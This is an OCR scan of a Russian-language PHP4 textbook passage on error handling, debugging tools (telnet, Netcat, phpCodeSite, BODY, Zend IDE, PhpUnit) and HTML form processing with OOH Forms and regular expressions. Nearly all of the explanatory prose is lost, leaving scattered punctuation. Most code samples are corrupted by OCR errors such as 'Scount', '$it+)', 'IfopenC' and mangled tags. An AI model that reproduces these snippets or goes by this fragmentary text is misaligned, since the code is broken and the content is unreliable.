, , - echo , . , . .

,
, $ . . ,' . , ,
. , :
<?php
//Sample.php
for ($count = 0; Scount <= 10; ++$count)
echo($count)
?>
. .
<h2>Sample program</ri2>
<?php
echo("Program ends ...");
?>

;-;. ..',.

'

...

'

4, echo.


, , , .
, . , , . , , ,
, .
. - , ,
.
,
. ,
. ,
, . , 404:

186

6.

<?php
//String_Hult.php
echo("101 Dalmations" * "4 Beatles");

''

'


switch:

<?php
//Sample_Switch. php
Scolor = "";
switch ($colo ) {
case "":
(" <br>");
case "" :
((" ");

: - . ,
(. ). break echo
.



. ,
. , , - , - . , ,
. . :
<?php
//Logical_Error. php
for ($i = 1; $i < 10; $it+)
print( "Number:"
. $i , "<br>");
'

'

, 1 10 . <= <, 10 < 10


1 9.

PHP

187

f reach, 4,
. :
f reach .


,
,
. , - , -
. , ,
. , ,
, .
- , , ,
, .
, .
, ,
.
( ) , , socket () UNIX AF_UNIX,
Microsoft Windows ( .
13). , .


,
. 4 11 , , .
.

error_reporting(). t r i g g e r _ e r r o r ( )
.
. :

(fatal)

188

6.

(warning)
(notice)
(core error levels)
(compile error levels)
.


. ,
,
. 4
. 4 .
, e r r o r _ r e p o r t i n g ( ) E_PARSE.


,
. ,
. , ,
r e q u i r e ( ) , , , .
, error_reporting()
E_ERROR.

, , .
, , include()
. ,
. ,
. , , .
, e r r o r _ r e p o r t i n g ( ) E_WARNING.

, , . . -

189


, ,
. , error_reporting()
E_NOTICE.


. , , .
, E_CORE_ERROR
E_CORE_WARNING.


Zend.
, ,
.
E_COMPILE_ERROR E_COMPILE_WARNING, E_ERROR E_WARNING,
, Zend.


, ,
. . E_USER_ERROR,
E_USER_WARNING E_USER_NOTICE. E_ERROR, E_WARNING E_NOTICE
.
t r i g g e r _ e r r o r ( ) , , ,
.


,
.
e r r o r _ r e p o r t i n g ( ) . :
int error_reporting(int level);

level _.
, &. ,
e r r o r _ r e p o r t i n g ( ) :
error.reporting(E_WARNING & EJIOTICE);

190

e r r o r _ r e p o r t i n g ( ) ,
. , .
, E_ALL. 0 . , (E_ALL)
, 0 . , .
.
; , 2 ERROR_WARNING.
- ,
.


,
.
- . , .
false 0. , , - .


, ,
, , . ,
, error_reporting() 0.
- @.
, ,
, .
@ , , f reach.
, ,
$php_errormsg. p h p . ini , . , ,
, .

191

, 0, ,
. :
<?
//Error_Msg_Suppress;php v
Sverbose = 1; //
. : . $default_text = "A default line of text";
//
if ($file = @fopen("nosuchfile.txt", "")) (: .
$text - (fgets($file, 101));
} elseif (Iverbose) {
//
myl_og("Failed to open nosuchfile.txt");
echo($php_errormsg);
// -
$text = $default_text;
} else {
//
myLog("Failed to open nosuchfile.txt");
$text = $default_text;
}
;... .,,v;
echo("Text read: " . Itext);
//
function myLog($msg)
{
echo("<h2>" . $msg . "</h2>");
}
' -'?>'

'-'

"...

'' .,


. , , . Sverbose , . @ , , ,
Sverbose.
, , $text .
, ,
.


, , -

192


.

.
<?php
//Error_Rec.php
class Connection_Manager
<
var $connections;
//
//
function openConnection($host, $user, $pass)
{
// mysql
$ntysql_link = @mysql_connect($host, $user, $pass);
// connections
if (FALSE !== $mysql_link) {
$this->connections[] = $mysql_link;
}
return $mysql_link;

}
// ,
function cleanupO
{
foreach ($this->connections as Sid) {
@mysql_close($id);

//
SmyConnxnMgr = new Connection_Manager();
// Connection^Manager
$connxn1 = $myConnxnMgr->openConnection("mysqldb.wrox. com", "dbuser",
"dbpassword");
// ,
// -
$myConnxnMgr->cleanup();

Connection_Manager . , , , , .

193


, include( ), , , , @. :
<?php
//myFile.inc -
error_reporting(0);
define("MY_INCLUDE_FILE", true);
SmyName = "Marie";
, , MY_INCLUDE_FILE:
<?php
//Target. php - , includeQ
@include( "myFile. inc" ) ;
if (defined(."MY_INCLUDE_FILE")) {.

echo ($my Name);


} else {

error_log("He myFile.inc");

target. php ,
lnclude( ). MY_INCLUDE_FILE. target, php, include( ), ,
. , , .


, , ,
. error_log(), ,
:
int error_log(string message, int message.type
[, string destination] [, string extra_headers])

message - , , a message_type - .
:
0 - ;
-. .
7 . 989

194

6.

error_log php. ini. error_log syslog,


-.
1 - . e-mail, - , .
2 - , .
hostname : port.
.
3 - . . ,
.
.
, _1( ):

<?php

//Log_Errors.php
// error_log()
error_reporting(0);
if (IfopenC'fileAtLarge.txt", "r")) {
// , -
error_log("File could not be opened", 0);
// e-mail
error_log("File could not be opened", 1, "phpuser@php.wrox.com",
"Reply-To:
phpcoder@somedomain.com");
// send to debug port
error_log("File could not be opened", 2,
"debugmachine . somedomain . com : 333" ) ;
//
error_log("File could not be opened", 3,
"/var/adm/logs/php_errors.log");

, ,
.
, ,
-. :
<?php
//RouteJError.ptip
function logContentError($msg)
{
error_log($msg, 0);
error_log($msg, 1, "content.manager@foowidgets.com",
"Reply-To : content . manager@f oowidgets . com" ) ;
}
function logDBError($msg)

195

error_log($msg, 0);
error_log($msg, 1, "content.manager@foowidgets.com",
"Reply-To: content.manager@foowidgets.com");
error_log($msg, 3, "/tmp/dberrors.log"); '

logContentError() logDBError() , ,
. .


, ,
, , . , ,
,
IDE. :
HTTP


.

HTTP
,
, . ,
HTTP, .
:
cookie

HTTP

telnet
telnet , , - . (-) (-) HTTP.
telnet HTTP
, , .
HTTP GET (. 6.1):

196

6.

^ telnet localhost 4567


Traing 127.0.0.1...
Connected to localhost.
Escape character is '*]'.
GET /php/uelcone.php HTTP/1.0 OK
::;:HTTP/1.1 200 OK
Date: Fri, 30 Nov 2001 13:48:58 CUT
:;Server: Hpache/1.3.22 (Unix) PHP/4.0.6
p-Pouered-Ba: PHP/4.0.6
Connection: close
[Content-Tape: text/htnl
;i

Print a test line ....Connection closed by foreign host.


PHP I

. 6.1.
telnet phpserver.ourdomain.com 80
GET /welcome. php HTTP/1.0 OK

welcome, php:
<?php
echoC'Print
a test line
'
' ' ");
telnet
GET. , , cookie GET. telnet : HTTP POST, .
, Microsoft Windows telnet, , telnet .
- wget -
HTTP HTTP.
, -.
HTTP. http://wget.sunsite.dk/.


telnet -, , . . , -. - (snoop server).
Netcat
Netcat, , Windows
UNIX- ,
. http://packetstormsecurity.org/. telnet ,
.

197

Netcat , , , HTTP,
-. Netcat
- , Netcat, , - .
Microsoft Internet Explorer -,
Tools | Internet Options | Connections] LAN Settings,
Use a proxy server Address Port ,
.
Netscape Edit | Preferences ,
Advanced; Proxies, Manual Configuration HTTP Port .

Muffin
, Netcat
- HTTP. , .
Muffin Java , . -
HTTP -.
Muffin http://muffin.doit.org/. JDK, JAR- . Edit
Filters; Supported Filters Snoop Enable. Enabled Filters Snoop, a
Preferences. .
-, (
51966), Muffin. -.



.
. ,
. echo- .
,

.
, :
<?php
//Trace_Debugger.inc

198

6.
// "
define("TRACE_OEBUGGING", true); // 'false'
$debug_host = "myphpdebug.mydomain.com";
// , -
$debug_port = 23456; // , -
// --
function traceDebug($fileName, $lineNumber, SvarName, SvarValue)
{
if (TRACE_OEBUGGING) {
StraceMessage = "Tracing $fileName at $lineNumber: $varName =
$varValue \n";
error_log($traceMessage, 2, "$debug_host:$debug_port");

, trace_debugger. inc, ,
:
<?
//Sample_Trace. php
include("Trace_Debugger. inc");
function swap(&$a, &$b)
{
$a = $a + $b;
$b = $a - $b;
$a = $a - $b;
}

$a = 1234;
$b = 4567;
traceDebug(__FILE__, LINE ___ "a", $a);
echo("a = $a, b = $b");
swap($a, $b);
traceDebug(__FILE__, __LINE__, "a", $a);
echo("a = $a, b ..= $b");

traceDebug( ) __ FILE __ __ LINE __ . , , . - , , .


,
$trace_debugging trace_debugger. inc 0.

199

phpCodesite
phpCodesite - . http:/ /phpcodesite.phpedit.
/. .
, , ,
:
<?
//Stack. php
class Stack
:; {
var $vector;
var SstackPointer;

^- ~

'?* ''"-

function Stack ()
{
$this->stackPointe.r = 0;
$this->vector = array();
>:.
''".
'
..'.
:
' '
:
function IsEmptyO
I
{
if ($this->stackPointer <= 0) {
.
;:
return 1;
'" :
} else {
.
: ; / - v ' 1 - " 1 / : 'return 0;
.

:
} . ;
./.'. .;: ' ',:':'. '
' ' ' -."".. :
function push($element)
{
M-$this->stackPointer;
: .
$this->vector[$this->stackPointer] = lelement;
}
function pop()
{
if ($this->isEmpty()) {
:
return -1; ; ; : , ;; :. /::'' C. ,:
' ' '. ~
[ 'J, ' . . : -' : ..
} else {
SpoppedValue = $this->vector[$tnis->stackPointer];
--$this->stackPointer;
return $poppedValue;

function peek()
{
if ($this->isEmpty()) {
return -1;

200

6.
} else {
return $this->vector[$this->stackPointer];
function reset ()

.(

$this->stackPointer = 0;
$this->vector[$this->stackPointer] = -1;

Stack, php, , , :
<?
//MyStack.php
require(". /Stack. php");
SmyStack = new StackO;
echo("<h2>myStack operations</h2>");
echo( "Popping before a push <br>");
SpoppedValue := $myStack->pop();
echo( "Popped value: SpoppedValue <br><br>");
echo( "Peeking before a push <br>");
SpeekedValue = $myStack->peek();
echo( "Peeking: $peekedValue <br><br>");
echo("Pushing 3 values into the stack<br><br>");
for ($i = 1; $i <= 3; ++$i) {
$myStack->push($i);
}
echo( "Peeking at: the first value: ");
SpeekedValue = $myStack->peek();
echo("$peekedValue <br><br>");
echo("Popping values now<br>");
for ($i = 1; $i <= 3; ++$i) {
SpoppedValue = $myStack->pop();
echo( "Popped value: SpoppedValue <br>");
}
$myStack->reset();
?>
'
... . '''

'.

; '..

...'.'

Stack, php, , Stack. , . 6.2.


Stack, php Stack"!, php. phpcodesite. p h p
.

201

.Be Ed ; Search Bookmarks Tasks Help

myStack operations
Popping before a push
Popped value: -1
Peeking before a push
Peeking: -1
Pushing 3 values into the stack
Peeking at the first value: 3
Popping values now
Popped value: 3
Popped value: 2
;! Popped value: 1

. 6.2. ,

<?php
//Stackl.php
require("phpcodesite.php")i
CS_SetEnabled(TRUE);

class Stack
{
var $vector;
var $stackPointer;
function Stack()
{
CS_EnterMethod( "Stack" );
CS_SendNote( "Initializing Stack<br>");
$this->stackPointer = 0;
$this->vector[0] = -1;
CS_ExitMethod( "Stack" );
function isEmptyO
{
CS_Erite rMethod ( " isEmpty " ) ;
if ($this->stackPointer <= 0){
CS_ExitMethod("isEmpty");
return 1;
:
} else {
CS_ExitMethod( "isEmpty" ) ;

202

6.
return 0;

function push($element)
{
CS_EnterMethod("push"); i
++$this->stackPointer;
$this->vector[$this->stackPointer] = $element;
CS ExitMethod("push");

function pop()
{
CS_EnterMethod("pop");
if ($this->isEmpty()) {
CS_SendError( "Stack empty<br>");
CS_ExitMethod("pop");
return -1;
} else {
$ret = $this->vector[$this->stackPointer];
--$this->stackPointer;
CS_SendVar("stackPointer", $this->stackPointer);
CS_ExitMethod("pop");
return $ ret;

function peek()
{
CS_EnterMethod("peek");
if ($this->isEmpty()) {
CS_SendError( "Stack empty<br>" ) ;
CS_ExitMethod( "peek" ) ;
return -1;
} else {
CS_ExitMethod("peek");
return $this->vector[$this->stackPointer];

function resetQ
{
CS_Ente rMethod( " reset " ) ;
$this->stackPointer = 0;
$this->vector[$this->stackPointer] = -1;
CS_DisplayInputData( );
CS_ExitMethod( "reset");

203

. phpCodeSite (. 6.1):
6.1. phpCodeSite

CS_EnterMethod() /,
CS_ExitMethod() / r e t u r n exit.
CS_SendError()

, . []

CS_SendNote()

, . [N]

CS_SendMessage() , . []
CS_SendVar()

.
, -

CS_SetEnabled()
Stack"!. php TRUE, . , , ,
FALSE.
s t a c k l . p h p MyStack.php S t a c k . p h p
MyStackl. php. MyStackl. php (. 6.3):
iF http:/lotalhost,ProPHP4/Chaptert)6/MySt ackl.pt
JEfe & jjiew Search fio Bookmarks tasks

> Stack
|
[] I n i t i a l i z i n g Stack
jj < Stack

myStack operations
Popping before a push

> pop
|
|
il |

> isEmpty
< isEmpty
[E] Stack empty

i{ < pop
Popped value: -1

. 6..

204

6.


- ,
. , . , , .
, .

BODY
Bike Odyssey Debugger Y (BODY) HTML
, . http://members.ozemail.com.au/
~djf01/body.html, .
, , . ,
, .
Linux :
cd /home/chad
tar xzvf body-1. XX.X.tar.gz
cd body-1. XX. X
cp -r ext /home/chad/php-4.0.5/ext

, :
cd /home/chad/php-4.0.5/ext
./configure --enable-statement --__
He ,
:
make && make install
cd /home/chad/body-1.XX. X
cp debugger_ui.php debugger_ui.inc debug.inc pjpe.inc demo.php /usr/local/apache/
htdocs/php4
, , .
BODY. , , , pop Stackl. php
Stack2. p h p . :
function pop()
{
if ($this->ismpty()){
echo("Stack empty<br>");
return -1;

205

} else {
return $this->vector[--$this->stackPointer];
} . '

. . ' ' . . ' - ' . ' , - - (. 6.4):


alhtwt..ProPHIM< chapter06/MyStt>d<2.pha - Netscape 6

E* Sew Search ; gp Bookmarks lasks

myStack operations
Ij Popping before a push
Stack empty
I Popped value: -1
;;

Peeking before a push


Peeking: -1
Pushing 3 values into die stack
Peeking at the first value: 3
Popping values now
Popped value: 2
Popped value: 1
Popped value: -1

Puc. 6.4.
, 1 2
2 1, .
MyStackl. php Stack"!. php, . MyStackl. php :
include("debug.inc");
debug_program("myStack"); ;

URL
MyStackl. php; .
URL debugger_ui.php. ,
MyStackl Command,
watch $PHP_SELF Command.
.
. , . 6.2, BODY.

206

6.

6.2. BODY

Debug program

. ,
watch $PHP_SELF - ,
debug_prog ram

W Svariable
Step SI

$variable
. .
, includeO, SI n n
line. Go

G line Go line

expression ,
BREAK expression

DB n

'so

.
,
statement, . , Exec $1 = 36;

Exec statement
Reset

, BODY pop , :
function pop()
{

if ($this->isEmpty()){
echo( "Stack empty<br>");
return -1;
} else {
$ret = $this->vector[$this->stackPointer];
"$this->stackPointer;
return $ret; ;
:

Zend IDE
Zend IDE - ,
http://www.zend.com/. ,
, . IDE .
, (
http://www.zend.com/).

207

Java. Zend
IDE Windows UNIX. Zend . , ,
.
Zend IDE (. 6.5):

ft Q, I 11 & I H S S ^

||class Stack{

var ^vector;
war fstackPointer;
function Stack(){
$this->stackPointer 0;
$this->vector = array();

function isEmpty()(
if (Sthis->stackPointer
return 1;
( else (
return 0;
function push (S element)!
H-this->stacltPointer;
Sthis->vector[$this->stackPointei:] - ^element;
function pop()(
return -1;
) else {
SpoppedValue $thig->vector[$thi3->stackPointer];
--*this->stackPointer;
return fpoppedValue;

Puc. 6.5. Zend IDE

, . Tools | Customization | Debug


, . File, Desktop.
Run

208

.
.
(watch expressions),
Watches . , , , 10. Breakpoints
Variables , (. 6.6):
*

Vi:i'Vw

| <*t.:(xiohttp://localho3t/PEOPHP4/ChapterO/HyStack.php<,

i.:"- - ..

|<?php

i f Stack - new Stack();


| echo "<h2>mySf:at:K ^pei:ar,i!His</h;:>"
echo "Popping before a pu?h <b;:>";
(ret - $myStack->popO ;
echo " vjiiut: ret <fcc>Or5"
echo "Peeking beCsr:* fc push <bi>";
if ret * ?yStack->peek() ;
echo "feeing: ?ret <bE><bi:>";
echo "Pushincf 3 value? into the st
Cot (Si .!.; 5i <- 3; ++!i ) {
?nyStack->push( $i ) ;
echo "Peeking .-it cui CitJt value:
(net - $yStack->peek();
echo "Sret <br:xbr>";
| echo "Popping values now<br>";
| for (1 1; <i <- 3; ++(i ) {

(ret SbyStack->pop() ;
echo "topped v^lye: <ret <
MmyStack->reset();

i ?>

, 6.6. Watches
HTML, , .
IDE Nexidion
http://www.nexidion.org/. Linux
KDE, Debug Monitor ( ). .

209


, , , . , .
PhpUnit - , . http://
soufceforge.net/projects/phpunit/.
. Stack"! .
StackTester StackTester. p h p .
, , , phpunit . php:
<?php
//Stack_Teste r . php

TestCase,
PhpUnit:
require("./Stack2.php");
require( " . /pnpunit/phpunit . php" ) ;
class Stack Tester extends TestCase
, .
Stack:
var $stack1;
var $stack2;
var $stack3;
var $stack4;
. , :
function Stack_Tester($method)
'' (
$this->TestGase($method);

, .
:
function setUpQ

210

6.
$this->stack1 = new Stack(); ;
$this->stack2 = new Stack();
$this->stack3 = new Stack();
$this->stack4 = new Stack();

push() Stack. push( ), peek. assertEquals( ),


.

:
function testPushO
{

$this->stack1->push(27);

$this->assertEquals(27, $this->stack1->peek(),
"push() method failed test");
...: '. '
..- .

( ) . 108, pop .
pop 108 assertEquals( ):
function testPopQ
:
{ ;
$this->stack2->push(108);
$ret = $this->stack2->pop();
$this->assertEquals(108, $ret, "pop() method failed");

peek( ). 1921, , peek, peek. , peek,


, peek, 1921, assertO, TestCase.
assert ( ) ,
true:
function testPeekO
{
$this->stack3->push( 1921 ) ;
$ret = $this->stack3->peek();
$ret2 = $this->stack3->peek();
$this->assert( $ret == $ret2 && $ret2 == 1921 );

push, pop. stack4 , -

211

isEmptyO 1. , asse rt ( ) :
function testlsmpty( )
{
$this->stack4->push(1547);
$this->stack4->pop( ) ;
$ret = $this->stack4->isEmpty();
$this->assert($ret==1 j;
teardown().

:
function tearDown(){
echo(" Finished running test ...... <br>");

, . TestStack. php.
, :
<?php
//Test_Stack.PHP
require("Stack_Tester. php");

TestSuite, PhpUnit:
$suite = new TestSuiteO;
Stack_Tester,
addtest(). Stack_Tester ,
:
$suite->addtest(new Stack_Tester("testPush"));
$suite->addtest(new Stack_Teste r( "testPop" ) ) ;
$suite->addtest(new Stack_Tester("testPeek" ) );
$suite->addtest(new Stack_Tester("testIsEmpty"));

:
StestRes = new TextTestResultQ;

( ) TestSuite.
TestSuite Stack_Tester,
, . -

212

. assert() assertEqualQ .
$suite->run(&$testRes);
report() :
$testRes->report();
?>

'

, :




:




, .
, :



,
.
,
, telnet, Muffin
IDE, Zend IDE.
phpUnit.

7
, ,

- , .
, , . :


forms
, ,


, , . i n p u t . php:
<?php ,
//
// Ssubmit "Go" -
if ($subiriit == "Go") {
//
echoC'You wrote ".$you_wrote);
echo("<br>You could have done whatever you want
with the input instead");
exit;

7. , ,

214

<!-- HTML .-->


<form action="<?php echo($PHP_SELF) ?>" method="POST" >
<p>Input a word <input type="text" size="20" name="you_wrote">
<input type="submit" name="submit" value="Go"x/p>
</form>

, , . , ,
, ,
, . (. 7.1):
:TJ http: .loidlhost ProPHP.I/Chaptei-07/inout.php
te Ed* Bew Search So Bookmarks tasks

. 7.1.


. - .
, .

HTML
HTML- PHP-.
<form>:
<form'action="<?php echo($PHP_SELF) ?>" method="POST">
:
Action
Method
action
action , ( ) . ,

215

, . -, input, php action, , echo $PHP_SELF


action.
$PHP_SELF - , ( ) . :
<form action="<?php echo($PHP_SELF) ?>" method="POST">
:
<form action="/ProPHP4/Chapter07/input.php" method="POST">

, ,
HTML. $PHP_SELF , .
method
. - GET POST.
, .
GET URL. URL, action ,
-. URL (query
string).
- &. URL http://localhost/ProPHP4/ChapterO 7/input.php?you_wrote=testing+
this+script &submit=Go (. 7.2).
9 E* Sew $eatdi go Bookmarks Tasks Help

You wrote testing this script


You could have done whatever you want with the input instead

. 7.2. -
testing this script. URL. ( , ) URL ( , +). ,
, -. ,

216

7. , ,

URL,
(. 24).
HTML, , GET.
action URL, . , ,
, .
POST. HTTP, URL.
POST ,
GET, URL,
. , GET URL,
POST
.
, POST, GET ,
, , , . , GET
, . 8.

,
:
if (Ssubmit == "Go") { .. .. }
, Go Ssubmit. , submit $submit.
$you_wrote
, you_wrote HTML:
echo("You wrote " . $you_wrote);

PHP ,
. ,
.1
, php.ini register_globals . , register_globals, $HTTP_GET_VARS
$HTTP_POST_VARS ( ) $_GET/$_POST
4.1.0. - . ..

217


:
<form action="<?php echo($PHP_SELF) ?>" method="POST">
<div align="center"><centerxtable border="1" cellpadding="0"
cellspacing="0" width="100%">
<tr>
<td width="25%">Your Full Name</td>
<td width="75%"xinput type="text" size="20"
name="name"x/td>
</tr>
<tr>
<td width="25%">Your Address</td>
<td width="75%"xtextarea name="address" rows="2"
cols="20"x/textareax/td>
</tr>
<tr>
<td>Gender</td>
<tdxinput type="radio", checked name="gender"
value="Male">Male <input type="radio" name="gender"
value="Female">Female</td>
</tr>
<tr>
<td>Would like e-mail notification?</td>
; <tdxinput type="checkbox" checked name="email_me"
value="Yes"></td>
</tr>
;

:;. <tr>

<td>Cities where I can work</td>


.
[ ] . , :
<td><select name="pref_dities[]" multiple size="3">
<option>Nagpur</option>
<option>Mumbai</option>
<option>Bangalore</option>
<option>Chennai</option> :: !
<option>Kolkatta</option>
</selectx/td>
</tr>
</tableX/centerx/div>
<p align="center"xinput type="submit" name="Submit" value="Submit">
<input type="reset" name="Reset" value="Reset"x/p>
</form>

(checkboxes) , . , , :

7. , ,

218

<input type="checkbox"
<input type="checkbox"
<input type="checkbox"
xinput type="checkbox"
<input type="checkbox"

name="pref_Cities[]"
name="pref_Cities[]"
name="pref_Cities[]"
name="pref_Cities[]"
name="pref J3ities[]"

value="
value="
value="
value="
value="

Nagpur">
Mumbai">
Bangalore">
Chennai">
Kolkatta">

, , HTML:
, , , ,
(. 7.3):
]

N http: /localhost ProPHP4 ChapterO? job.php - Netscape 6

iJ0e E# Bev Search So Bookmarks laste

Your Full Name


Your Address
Gender
Would like e-mail
notification?
Cities where I can work

& Male Female

F
Nagpur
3
Mumbai 1
Bangalore 2J
Submit | Reset |

ocumenh Done (0.39 sacs)

. 7..
:
<div align="center"xcenter><table border="1" cellpadding="0" :

cellspacing="0" width="100%">
<tr>
<td width="25%">Your Full Name</td>
<td width="75%"><?php echo($name) ?></td>
</tr>
<tr>
<td width="25%">Your Address</td>

address . ,
!2(), <BR>.
, :

<td width="75%"><?php echo(nl2br($address)) ?x/td>


</tr>

-.. '..:. <tr>

<td>Gender</td>

219

gender (radio buttons).


PHP , . $gender , :
<tdi><?php echo($gender)
</tr>
<tr>
<td>Would like e-mail notification?</td>
<td>

eroailjne . . , value
. ,
on. , Null, off.
.
if:
<?php

' :'

"

:;

if ($email_me == "Yes") {
echo($email_me);:
} else { .. .
echo("No");
.,:'.

</td>
</tr>
<tr>

..--.

\i^\

<td>Cities where I can work</td>


<td>
, . , m u l t i p l e . ,
. f reach
$pref_cities:
<?php
: foreach($pref_cities as $city){
echo($city .

</td>

</tr>
</table>

'-^f

, . 7.4.

7. , ,

220

http://localhost/ProPHP4/Chapter07/iob.php - Netscape
:

dK SS

Help

S> gpoknwks

i Q |^http:j;iocalhQst;PrQPHP4/Chapter07;)Qb.php

Your Full Name


Your Address
Gender

ess
'.ouse

Male

Would like e-mail


notification?

Yes

Cities where I can work

(Bangalore

Oocurrwnt! Don. (0,331

Puc. 7.4.
HTML .
http://www.wrox.com/.
, ,
. :
<input type="hidden" name="userID" value="23e45rtg67">
.
.
-
. , ID
, ID IP- , . , . , IP- , :
<input type="hidden" name="userID" value="<?php ecfio($REMOTE_ADDR) ?>">


. , HTML- :

HTML , ,

- ,
. , ,

221

. SQL,

, ,
.
, .
Object Oriented
HTML Forms ( Forms).

Forms
Forms- HTML.
JavaScript ,
. PHPLib,
http://phplib.netuse.de/.
Forms - , -
PHPlib. Forms,
i n c l u d e _ p a t h p h p . ini,
p h p PHPLib.
Forms : oohforms. inc, of_checkbox. inc, of_radio.inc, of_select. inc, of_text.inc of_textarea. inc. oohforms. inc
. oohforms. inc
,
, oohforms. inc,
, , oohforms. inc.
Forms
:

/
JavaScript


Forms, , .
HTML - , :
. 4

222

7. , ,


. ,
. ,
Forms, :
<?php
include("oohforms.inc");
Forms:
$f = new form;

.
add_element():
//
$f->add_element(array("name"=>"name",
"type"=>"text",
"size"=>"20",
"minlength"=>"4",
"length_e"=>"You must type your name and it should be
at least 4 characters long",
"valid_e"=>"Your name cannot have numerals.",
"valid_regex"=>"~([a-zA-Z ])*$" ));
// E-Mail
$f->add_element(array("name"=>"email",
"type"=>"text",
"size"=>"20",
"minlength"=>"1",
"length_e"=>"You must enter a valid e-mail address",

"valid_e"=>"Syntax error in e-mail address.",

"valid_regex"=>"-[-a-zA-ZO-9._]+@[-a-zA-ZO-9]+(\.
[-a-zA-ZO-9]+)+$">);
//
$f->add_element(array("name"=>"address",
"type"=>"textarea",
"rows"=>3,
"cols"=>30,
"value"=>""));
//
$f->add_element(array("name"=>"gender",
"type"=>"radio",
"value"=>"Male"

223

// e-mail
$f->add_element(array("name"=>"emailjne",
"type"=>"checkbox",
"value"=>"Y",
"checked "=>1

));

::

; ;:

$c = arrayC'Select a City", "Nagpur", "Mumbai", "Bangalore", "Kolkatta");


$f->add_element(array("name"=>"pref_cities",
"type"=>"select",
"options"=>$c,
"minlengtti"=>"1",
"size"=>1,
"valid_e"=>"Please select a preferred city of work"));
//
$f->add_element(array( "name"=>"submit" ,
"type"=>"subiriit",
"value"=>"Submit") ) ;
"'
, :
name
.
- name="" ( ).
type
.
submit, hidden, text, textarea, select, radio, checkbox file.
multiple
Forms,
. select , .
value
.
m u l t i p l e (. ), value . select , value
( )
( ). . options.
size
HTML size,
. select (
) . , select,

224

7. , ,

1. f i l e
,
.
maxlength
Forms HTML maxlength
. HTML maxlength , .
length_e
,
minlength .
length_e ,
. JavaScript .
minlength
length_e, , . : length_e , minlength .
valid_e
, Forms , .
valid_regex. ,
.
,

1. , , ( ). valid_e , .
valid_regex
.
, ,
valid_e. " . . . $ , , .
checked
multiple.
checked, .
rows
Forms
HTML, rows textarea.

225

cols
Forms
HTML, cols textarea.
options
, .
- ( ),
. label value. label
, value .
,
add_element() .
:
$ = array("Select a City", "Nagpur","Mumbai", "Bangalore","Kolkatta");
$f->add_element(array("name"=>"pref_cities",
"type"=>"select",
"options"=>$c,
"minlength"=>"1",
"size"=>1,
"valid_e"=>"Please select a preferred city of work"));

, Nagpu ,
pref_cities Nagpu . ,
/ID
pref _cities. :
$ = array(array("label"=>"Select a City","value"=>0),
array("label"=>"Nagpur","value"=>1),
array("label"=>"Mumbai","value"=>2),
array("label"=>"Bangalore","value"=>3),
array("label"=>"Koll<atta", "value"=>4)) ;
:

$f->add_element(array("type"=>"select",
"name"=>"pref_cities",
"options"=>$c,
; "minlength"=>"1",
"size"=>1, '.
"valid_e"=>"Please select a preferred city of work"));

Nagpur pref_cities
1.
Forms.

8 . 989

226

7. , ,


, :
//, ,
if (isset($submit)) {
Ssubmit , ,
, validate( ) Forms. , , N u l l , :
//
if ($err = $f->validate()) {
, , . , 1ad_def aults( ) Forms:
$f->load_defaults();
} else '{..// ,
load_defaults( ) , . , , .
-, , :
$f->load_defaults();

, , f reeze( ):
$f->freeze();

//
$err="Success! ";

, , . ,
. HTML (. . 7.5).

, . HTML, Forms
name :

227

,
<input name='name' value="" type='text' size='20'>

Forms
HTML name, :
<input type='hidden' name='name' value='John Doe'>
<table border=0><trxtd>John Doe</td></tr></table>

f reeze() , , .
:

;:.;;;..:; .

.N htlp: lcK.,ilrmsl, proPHfM/thapterOT/jobZ.php - Netscape


'Ul Be Ed $ew Search go Bookmarks I*s Help

' '

j Items marked with * are compulsory


* Your Full Name
*Y our E-Mail Address
Your Address

Gender

Would like e-mau


notification?
"City where I can work

[(Bangalore

. 7.5.

, ,
.
HTML.
sta rt ():
//Render the form
$f->start('jobForm',

,'','jobForm');

s t a r t ( ) :
start([jvsname] [.method] [.action] [.target] [.formname])

228

7. , ,

<form> , .
Sjvsname ,
JavaScript, Forms
HTML- ,
. ( ),
JavaScript . $method (POST ). A Section URL,
( $PHP_SELF).
$target ( - _self) ;
$f ormname - , .
<p>Items marked with <font color="#FFOOOO">* </font>
<font color="#000000"> are compulsory</font> ; :
<div align="center"><center><table border="1" cellpadding="0"
cellspacing="0" width="100%">
<tr>
<td width="25%"xfont color="#FFOOOO">*</font>
Your Full Name
</td>
:,
., ;,-;V
show_element() , Forms
HTML, , . show_element( ):
show_element(name [, value])

, name
add_element(). $name ,
, a $value .
, :
<td width="75%"x?php $f->show_element("name"); ?></td>
</tr>
<tr>
<td><font color='r#FFOOOO"></font>Your e-mail Address</td>
<tdx?php $f->show_element( "email"); ?x/td>
</tr>
<tr>
,<td width="25%">Your Address</td>
<td width="75%"x?php $f->show_element( "address"); ?x/td>
</tr>
<tr>
<td>Gender</td>
<td>
<?php $f->show_element("gender","Male"); ?>Male
<?php $f->show_element( "gender", "Female"); ?>Female
</td>
</tr>

,
;..

229
::,:.,-,::,:. .- ..._

<tr>

:.-.

<td>Would like e-mail notification?</td>


<tdx?php $f->show_element("email_me") ?x/td>
</tr>
<tr>
<tdxfont color="FFOOOO">*</font>City where Lean
work</td>
<td><?php $f->show_elerrient("pref_cities"); ?></td>
</tr>
</table>
</centerx/divXp align="center">
;i.
<?php
if ($err != "Success!"){
$f->show_element( "submit");
''-..:.

}:

?x/p>
f inish().
, , </form>
JavaScript :
<?php
$f->flnish();
(. 7.6)
l hUp: localhost. ProPHP4,'thapter07/job2.php - Netscape 6
Sfiew Search go gookmarks lasks

Items marked with * are compulsory


* Your FuH Name
*Your E-Mail Address
Your Address
Gender

P Male Female

Would like e-mail


notification?

*City where I can work

Select a City *)

'

Puc. 7.6.


, .

230

7. , ,

Forms.
Forms, :


. , , . , HTML.
PHP htmlspecialchars() :
$note = htmlspecialchars("<a href=http://unwantedsite.com>Click Here for $$$</a>")
HTML HTML, < & l t ; , :
< hrefhttp://unwantedsite.com > Click Here for $$$ </a>
, HTML .
escapeshellcmdQ
string escapeshellcmd(string command)
, , () system().
, ,
.

, .

, .
HTML- < href= http . . . . >.
(regular expressions).


(regex) . - (Warren McCulloch)

231

(Walter Pitts), , . 1956


(Stephen Kleene), - , Representation of Events
in Nerve Nets ( ),
.
, .
,

, (Ken Thompson),
UNIX.
UNIX qed.

, . , ,
() . :
,
,
,

(Jeffry Friedl) Mastering Regular Expressions, O'Reilly.1


, xyz:
"xyz"

(branches).
|, OR. ,
, :
"abc|xyz"

, abc xyz,
.
(pieces).
(bracket expression):
"[xyz]"
, . 1

. , 2- - : , 2003.

232

7. , ,

, - , z . , .
:
"[0123456789]"
, . :
"[0-9]"

. , (-), , . "[0-9]" , " [a-Z]" Z


. ,
"[a-zA-Z]".
, :
"[a-Z -]"

.
( )
, ":
